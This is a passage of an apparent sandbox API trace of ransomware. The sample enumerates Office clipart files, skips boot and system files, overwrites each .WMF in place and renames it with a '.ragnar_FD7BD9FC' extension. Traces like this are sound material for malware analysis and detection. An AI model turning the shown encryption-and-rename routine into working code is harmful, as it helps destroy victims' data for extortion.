(lpString1="SO00555_.WMF", lpString2="bootmgr.efi") returned 1 [0091.461] lstrcmpiW (lpString1="SO00555_.WMF", lpString2="bootmgfw.efi") returned 1 [0091.461] lstrcmpiW (lpString1="SO00555_.WMF", lpString2="desktop.ini") returned 1 [0091.461] lstrcmpiW (lpString1="SO00555_.WMF", lpString2="iconcache.db") returned 1 [0091.461] lstrcmpiW (lpString1="SO00555_.WMF", lpString2="ntldr") returned 1 [0091.461] lstrcmpiW (lpString1="SO00555_.WMF", lpString2="ntuser.dat") returned 1 [0091.461] lstrcmpiW (lpString1="SO00555_.WMF", lpString2="ntuser.dat.log") returned 1 [0091.461] lstrcmpiW (lpString1="SO00555_.WMF", lpString2="ntuser.ini") returned 1 [0091.461] lstrcmpiW (lpString1="SO00555_.WMF", lpString2="thumbs.db") returned -1 [0091.461] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0091.461] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0091.461] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0091.461] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0091.461] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0091.461] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0091.461] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0091.461] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00555_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00555_.wmf")) returned 0x20 [0091.462] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00555_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00555_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0091.462] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=9730) returned 1 [0091.462] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x25f9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.462] GetProcessHeap () returned 0x580000 [0091.462] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0091.462] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0091.463] VirtualAlloc (lpAddress=0x0, dwSize=0x2602, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0091.464] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.464] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0091.464] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x2602, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x2602, lpOverlapped=0x0) returned 1 [0091.464] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0091.464] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2602, nNumberOfBytesToLockHigh=0x0) returned 1 [0091.465] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x2602, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x2602, lpOverlapped=0x0) returned 1 [0091.465] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2602, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0091.465] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0091.465] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2602, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.465] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0091.465] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0091.465] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0091.465] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0091.465] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0091.465] GetProcessHeap () returned 0x580000 [0091.465] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0091.465] CloseHandle (hObject=0xf4) returned 1 [0091.465] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00555_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00555_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00555_.WMF" [0091.466] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00555_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00555_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00555_.WMF.ragnar_FD7BD9FC" [0091.466] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00555_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00555_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00555_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00555_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0091.466] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23879c00, ftCreationTime.dwHighDateTime=0x1c01c5d, ftLastAccessTime.dwLowDateTime=0x5aa18b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x23879c00, ftLastWriteTime.dwHighDateTime=0x1c01c5d, nFileSizeHigh=0x0, nFileSizeLow=0x6260, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00603_.WMF", cAlternateFileName="")) returned 1 [0091.466] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0091.466] lstrcpyW (in: lpString1=0x1eb62e, lpString2="SO00603_.WMF" | out: lpString1="SO00603_.WMF") returned="SO00603_.WMF" [0091.466] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00603_.WMF") returned=".WMF" [0091.467] lstrcmpiW (lpString1="SO00603_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0091.467] lstrcmpiW (lpString1="SO00603_.WMF", lpString2="autorun.inf") returned 1 [0091.467] lstrcmpiW (lpString1="SO00603_.WMF", lpString2="boot.ini") returned 1 [0091.467] lstrcmpiW (lpString1="SO00603_.WMF", lpString2="bootfont.bin") returned 1 [0091.467] lstrcmpiW (lpString1="SO00603_.WMF", lpString2="bootsect.bak") returned 1 [0091.467] lstrcmpiW (lpString1="SO00603_.WMF", lpString2="bootmgr") returned 1 [0091.467] lstrcmpiW (lpString1="SO00603_.WMF", lpString2="bootmgr.efi") returned 1 [0091.467] lstrcmpiW (lpString1="SO00603_.WMF", lpString2="bootmgfw.efi") returned 1 [0091.467] lstrcmpiW (lpString1="SO00603_.WMF", lpString2="desktop.ini") returned 1 [0091.467] lstrcmpiW (lpString1="SO00603_.WMF", lpString2="iconcache.db") returned 1 [0091.467] lstrcmpiW (lpString1="SO00603_.WMF", lpString2="ntldr") returned 1 [0091.467] lstrcmpiW (lpString1="SO00603_.WMF", lpString2="ntuser.dat") returned 1 [0091.467] lstrcmpiW (lpString1="SO00603_.WMF", lpString2="ntuser.dat.log") returned 1 [0091.467] lstrcmpiW (lpString1="SO00603_.WMF", lpString2="ntuser.ini") returned 1 [0091.467] lstrcmpiW (lpString1="SO00603_.WMF", lpString2="thumbs.db") returned -1 [0091.467] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0091.467] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0091.467] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0091.467] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0091.467] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0091.467] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0091.467] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0091.467] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00603_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00603_.wmf")) returned 0x20 [0091.467] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00603_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00603_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0091.468] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=25184) returned 1 [0091.468] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x6257, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.468] GetProcessHeap () returned 0x580000 [0091.468] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0091.468] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0091.469] VirtualAlloc (lpAddress=0x0, dwSize=0x6260, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0091.470] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.470] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0091.470] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x6260, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x6260, lpOverlapped=0x0) returned 1 [0091.471] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0091.471] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x6260, nNumberOfBytesToLockHigh=0x0) returned 1 [0091.471] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x6260, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x6260, lpOverlapped=0x0) returned 1 [0091.471] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x6260, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0091.471] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0091.471] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x6260, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.471] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0091.471] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0091.472] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0091.472] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0091.472] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0091.472] GetProcessHeap () returned 0x580000 [0091.472] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0091.472] CloseHandle (hObject=0xf4) returned 1 [0091.472] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00603_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00603_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00603_.WMF" [0091.472] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00603_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00603_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00603_.WMF.ragnar_FD7BD9FC" [0091.472] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00603_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00603_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00603_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00603_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0091.473] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13335b00, ftCreationTime.dwHighDateTime=0x1bd4b0e, ftLastAccessTime.dwLowDateTime=0x5aa3ec70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x13335b00, ftLastWriteTime.dwHighDateTime=0x1bd4b0e, nFileSizeHigh=0x0, nFileSizeLow=0x9c80, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00610_.WMF", cAlternateFileName="")) returned 1 [0091.473] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0091.473] lstrcpyW (in: lpString1=0x1eb62e, lpString2="SO00610_.WMF" | out: lpString1="SO00610_.WMF") returned="SO00610_.WMF" [0091.473] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00610_.WMF") returned=".WMF" [0091.473] lstrcmpiW (lpString1="SO00610_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0091.473] lstrcmpiW (lpString1="SO00610_.WMF", lpString2="autorun.inf") returned 1 [0091.473] lstrcmpiW (lpString1="SO00610_.WMF", lpString2="boot.ini") returned 1 [0091.473] lstrcmpiW (lpString1="SO00610_.WMF", lpString2="bootfont.bin") returned 1 [0091.473] lstrcmpiW (lpString1="SO00610_.WMF", lpString2="bootsect.bak") returned 1 [0091.473] lstrcmpiW (lpString1="SO00610_.WMF", lpString2="bootmgr") returned 1 [0091.473] lstrcmpiW (lpString1="SO00610_.WMF", lpString2="bootmgr.efi") returned 1 [0091.473] lstrcmpiW (lpString1="SO00610_.WMF", lpString2="bootmgfw.efi") returned 1 [0091.473] lstrcmpiW (lpString1="SO00610_.WMF", lpString2="desktop.ini") returned 1 [0091.473] lstrcmpiW (lpString1="SO00610_.WMF", lpString2="iconcache.db") returned 1 [0091.473] lstrcmpiW (lpString1="SO00610_.WMF", lpString2="ntldr") returned 1 [0091.473] lstrcmpiW (lpString1="SO00610_.WMF", lpString2="ntuser.dat") returned 1 [0091.473] lstrcmpiW (lpString1="SO00610_.WMF", lpString2="ntuser.dat.log") returned 1 [0091.473] lstrcmpiW (lpString1="SO00610_.WMF", lpString2="ntuser.ini") returned 1 [0091.473] lstrcmpiW (lpString1="SO00610_.WMF", lpString2="thumbs.db") returned -1 [0091.473] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0091.473] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0091.473] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0091.473] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0091.473] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0091.473] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0091.473] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0091.473] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00610_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00610_.wmf")) returned 0x20 [0091.474] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00610_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00610_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0091.474] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=40064) returned 1 [0091.474] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x9c77, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.474] GetProcessHeap () returned 0x580000 [0091.474] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0091.474] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0091.475] VirtualAlloc (lpAddress=0x0, dwSize=0x9c80, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0091.475] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.476] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0091.476] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x9c80, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x9c80, lpOverlapped=0x0) returned 1 [0091.477] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0091.477] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x9c80, nNumberOfBytesToLockHigh=0x0) returned 1 [0091.477] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x9c80, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x9c80, lpOverlapped=0x0) returned 1 [0091.477] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x9c80, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0091.477] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0091.478] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x9c80, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.478] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0091.478] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0091.478] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0091.478] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0091.478] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0091.478] GetProcessHeap () returned 0x580000 [0091.478] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0091.478] CloseHandle (hObject=0xf4) returned 1 [0091.478] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00610_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00610_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00610_.WMF" [0091.478] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00610_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00610_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00610_.WMF.ragnar_FD7BD9FC" [0091.478] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00610_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00610_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00610_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00610_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0091.479] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc8d0400, ftCreationTime.dwHighDateTime=0x1bd4b0d, ftLastAccessTime.dwLowDateTime=0x5aa3ec70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc8d0400, ftLastWriteTime.dwHighDateTime=0x1bd4b0d, nFileSizeHigh=0x0, nFileSizeLow=0xfe6, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00629_.WMF", cAlternateFileName="")) returned 1 [0091.479] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0091.479] lstrcpyW (in: lpString1=0x1eb62e, lpString2="SO00629_.WMF" | out: lpString1="SO00629_.WMF") returned="SO00629_.WMF" [0091.479] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00629_.WMF") returned=".WMF" [0091.479] lstrcmpiW (lpString1="SO00629_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0091.479] lstrcmpiW (lpString1="SO00629_.WMF", lpString2="autorun.inf") returned 1 [0091.479] lstrcmpiW (lpString1="SO00629_.WMF", lpString2="boot.ini") returned 1 [0091.479] lstrcmpiW (lpString1="SO00629_.WMF", lpString2="bootfont.bin") returned 1 [0091.479] lstrcmpiW (lpString1="SO00629_.WMF", lpString2="bootsect.bak") returned 1 [0091.479] lstrcmpiW (lpString1="SO00629_.WMF", lpString2="bootmgr") returned 1 [0091.479] lstrcmpiW (lpString1="SO00629_.WMF", lpString2="bootmgr.efi") returned 1 [0091.479] lstrcmpiW (lpString1="SO00629_.WMF", lpString2="bootmgfw.efi") returned 1 [0091.479] lstrcmpiW (lpString1="SO00629_.WMF", lpString2="desktop.ini") returned 1 [0091.479] lstrcmpiW (lpString1="SO00629_.WMF", lpString2="iconcache.db") returned 1 [0091.479] lstrcmpiW (lpString1="SO00629_.WMF", lpString2="ntldr") returned 1 [0091.479] lstrcmpiW (lpString1="SO00629_.WMF", lpString2="ntuser.dat") returned 1 [0091.479] lstrcmpiW (lpString1="SO00629_.WMF", lpString2="ntuser.dat.log") returned 1 [0091.480] lstrcmpiW (lpString1="SO00629_.WMF", lpString2="ntuser.ini") returned 1 [0091.480] lstrcmpiW (lpString1="SO00629_.WMF", lpString2="thumbs.db") returned -1 [0091.480] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0091.480] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 